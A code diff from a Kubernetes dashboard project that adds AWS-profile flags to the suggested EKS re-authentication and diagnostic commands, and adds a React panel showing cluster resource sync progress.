61
62
  'For AWS SSO contexts, the SSO session may need login.',
62
63
  ],
63
- authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: 'aws sso login' },
64
+ authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: `aws sso login${profileFlag}` },
64
65
  }
65
66
  if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
66
67
  result.fallbackCommand = {
67
68
  label: 'If that doesn\'t work, refresh cluster credentials:',
68
- command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
69
+ command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
69
70
  }
70
71
  }
71
72
  return result
@@ -88,26 +89,34 @@ function getAuthHints(context: string): AuthHints {
88
89
  }
89
90
  }
90
91
 
91
- export function getAuthRejectedHints(context: string): AuthHints {
92
+ export function getAuthRejectedHints(context: string, awsProfile?: string): AuthHints {
92
93
  const parsed = parseContextName(context)
93
94
 
94
95
  switch (parsed.provider) {
95
96
  case 'EKS': {
97
+ const profileFlag = awsProfileFlag(awsProfile)
96
98
  const result: AuthHints = {
97
99
  title: 'EKS Could Not Authenticate This Request',
98
100
  hints: [
99
101
  'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
100
102
  'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
101
103
  'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
102
- 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
104
+ profileFlag
105
+ ? 'The commands below use the AWS profile pinned by this context\'s kubeconfig exec block. If it also pins --role-arn, inspect that role instead.'
106
+ : 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
103
107
  'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
104
108
  ],
105
- fallbackCommand: { label: 'If this context uses the current AWS SSO profile, re-login and retry:', command: 'aws sso login' },
109
+ fallbackCommand: {
110
+ label: profileFlag ? 'If this profile uses AWS SSO, re-login and retry:' : 'If this context uses the current AWS SSO profile, re-login and retry:',
111
+ command: `aws sso login${profileFlag}`,
112
+ },
106
113
  }
107
114
  if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
108
115
  result.authCommand = {
109
- label: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
110
- command: `aws sts get-caller-identity && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region} --query cluster.accessConfig.authenticationMode --output text`,
116
+ label: profileFlag
117
+ ? 'Inspect the caller and authentication mode for the pinned AWS profile:'
118
+ : 'Inspect the caller and authentication mode for the current terminal AWS profile:',
119
+ command: `aws sts get-caller-identity${profileFlag} && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region}${profileFlag} --query cluster.accessConfig.authenticationMode --output text`,
111
120
  }
112
121
  // A diagnostic, not a re-auth — the "Authenticate in terminal" button
113
122
  // would misrepresent what running it does.
@@ -167,7 +176,7 @@ function getAuthPluginStuckHints(): AuthHints {
167
176
  }
168
177
  }
169
178
 
170
- function getTimeoutHints(context: string): AuthHints | null {
179
+ function getTimeoutHints(context: string, awsProfile?: string): AuthHints | null {
171
180
  const parsed = parseContextName(context)
172
181
  const baseHints = [
173
182
  'The Kubernetes API did not respond before the deadline.',
@@ -192,15 +201,16 @@ function getTimeoutHints(context: string): AuthHints | null {
192
201
  return result
193
202
  }
194
203
  case 'EKS': {
204
+ const profileFlag = awsProfileFlag(awsProfile)
195
205
  const result: AuthHints = {
196
206
  title: 'Connection Timed Out',
197
207
  hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
198
- authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: 'aws sso login' },
208
+ authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: `aws sso login${profileFlag}` },
199
209
  }
200
210
  if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
201
211
  result.fallbackCommand = {
202
212
  label: 'If that does not work, refresh cluster credentials:',
203
- command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
213
+ command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
204
214
  }
205
215
  }
206
216
  return result
@@ -322,17 +332,17 @@ export function CopyableCommand({ command, onRunInTerminal }: { command: string;
322
332
  )
323
333
  }
324
334
 
325
- export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string): AuthHints | null {
335
+ export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string, awsProfile?: string): AuthHints | null {
326
336
  const parsedContext = originalContext || context
327
337
  switch (errorType) {
328
338
  case 'auth':
329
- return getAuthHints(parsedContext)
339
+ return getAuthHints(parsedContext, awsProfile)
330
340
  case 'auth-rejected':
331
- return getAuthRejectedHints(parsedContext)
341
+ return getAuthRejectedHints(parsedContext, awsProfile)
332
342
  case 'auth-plugin-stuck':
333
343
  return getAuthPluginStuckHints()
334
344
  case 'timeout':
335
- return getTimeoutHints(parsedContext)
345
+ return getTimeoutHints(parsedContext, awsProfile)
336
346
  default:
337
347
  return null
338
348
  }
@@ -344,9 +354,11 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
344
354
  const isAuthRejected = connection.errorType === 'auth-rejected'
345
355
  const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
346
356
  const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
347
- const { data: contexts } = useContexts()
348
- const originalContext = contexts?.find((context) => context.name === connection.context)?.originalName
349
- const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext)
357
+ const { data: contexts, isLoading: contextsLoading } = useContexts()
358
+ const matchedContext = contexts?.find((context) => context.name === connection.context)
359
+ const originalContext = matchedContext?.originalName
360
+ const awsProfile = contextsLoading ? undefined : matchedContext?.awsProfile
361
+ const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext, awsProfile)
350
362
  const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
351
363
  const openLocalTerminal = useOpenLocalTerminal()
352
364
  const { data: authMe } = useAuthMe()
@@ -0,0 +1,73 @@
1
+ import { useMemo } from 'react'
2
+ import { Loader2, ArrowRight } from 'lucide-react'
3
+ import { StatusDot } from '@skyhook-io/k8s-ui'
4
+ import type { SyncStatusSnapshot } from '../api/client'
5
+
6
+ // Shown in place of views that need the full cluster dataset while the
7
+ // initial informer sync is still running. Resource views for already-synced
8
+ // kinds work during this window — the per-kind list doubles as the map of
9
+ // what's usable right now.
10
+ export function SyncProgressPanel({
11
+ syncStatus,
12
+ onNavigateToKind,
13
+ }: {
14
+ syncStatus: SyncStatusSnapshot
15
+ onNavigateToKind: (key: string) => void
16
+ }) {
17
+ const total = syncStatus.criticalTotal + syncStatus.deferredTotal
18
+ const synced = syncStatus.criticalSynced + syncStatus.deferredSynced
19
+ const kinds = useMemo(
20
+ () => [...syncStatus.kinds].sort((a, b) => {
21
+ // Ready first, failed last, both alphabetical within their group.
22
+ const rank = (k: typeof a) => (k.synced ? 0 : k.failed ? 2 : 1)
23
+ if (rank(a) !== rank(b)) return rank(a) - rank(b)
24
+ return a.kind.localeCompare(b.kind)
25
+ }),
26
+ [syncStatus.kinds],
27
+ )
28
+ const failedCount = useMemo(
29
+ () => syncStatus.kinds.filter((k) => k.failed).length,
30
+ [syncStatus.kinds],
31
+ )
32
+
33
+ return (
34
+ <div className="flex-1 flex items-center justify-center overflow-y-auto bg-theme-base">
35
+ <div className="max-w-xl w-full px-8 py-10">
36
+ <div className="flex items-center gap-3 mb-1">
37
+ <Loader2 className="w-5 h-5 animate-spin text-theme-text-tertiary" />
38
+ <h2 className="text-lg font-semibold text-theme-text-primary">Loading cluster data</h2>
39
+ </div>
40
+ <p className="text-sm text-theme-text-secondary mb-6">
41
+ {synced} of {total} resource types ready — views open as their data finishes loading.
42
+ This view needs the full dataset and will appear automatically.
43
+ {failedCount > 0 && (
44
+ <span className="block mt-1 text-red-400">
45
+ {failedCount} resource {failedCount === 1 ? 'type' : 'types'} failed to load within the
46
+ sync deadline — affected views will show an error. Retry the connection to try again.
47
+ </span>
48
+ )}
49
+ </p>
50
+ <div className="card-inner grid grid-cols-2 gap-x-6 gap-y-1.5 max-h-80 overflow-y-auto">
51
+ {kinds.map((k) => (
52
+ <div key={k.key} className="flex items-center gap-2 min-w-0 text-sm">
53
+ <StatusDot tone={k.synced ? 'healthy' : k.failed ? 'unhealthy' : 'neutral'} size="sm" className="shrink-0" />
54
+ {k.synced ? (
55
+ <button
56
+ onClick={() => onNavigateToKind(k.key)}
57
+ className="group flex items-center gap-1 min-w-0 text-theme-text-primary hover:text-theme-brand transition-colors"
58
+ >
59
+ <span className="truncate">{k.kind}</span>
60
+ <ArrowRight className="w-3 h-3 opacity-0 group-hover:opacity-100 transition-opacity shrink-0" />
61
+ </button>
62
+ ) : k.failed ? (
63
+ <span className="truncate text-red-400">{k.kind} — failed</span>
64
+ ) : (
65
+ <span className="truncate text-theme-text-tertiary animate-pulse">{k.kind}</span>
66
+ )}
67
+ </div>
68
+ ))}
69
+ </div>
70
+ </div>
71
+ </div>
72
+ )
73
+ }
@@ -124,6 +124,8 @@ function BestPracticesView({ namespaces, onNavigateToResource }: AuditViewProps)
124
124
  checks={data.groupedChecks ?? []}
125
125
  catalog={data.checks ?? {}}
126
126
  anyData
127
+ evaluated={data.summary.passing + data.summary.warning + data.summary.danger}
128
+ missingInputs={data.missingInputs}
127
129
  onResourceClick={onResourceClick}
128
130
  onHideCheck={canEdit ? hideCheck : undefined}
129
131
  onHideCategory={canEdit ? hideCategory : undefined}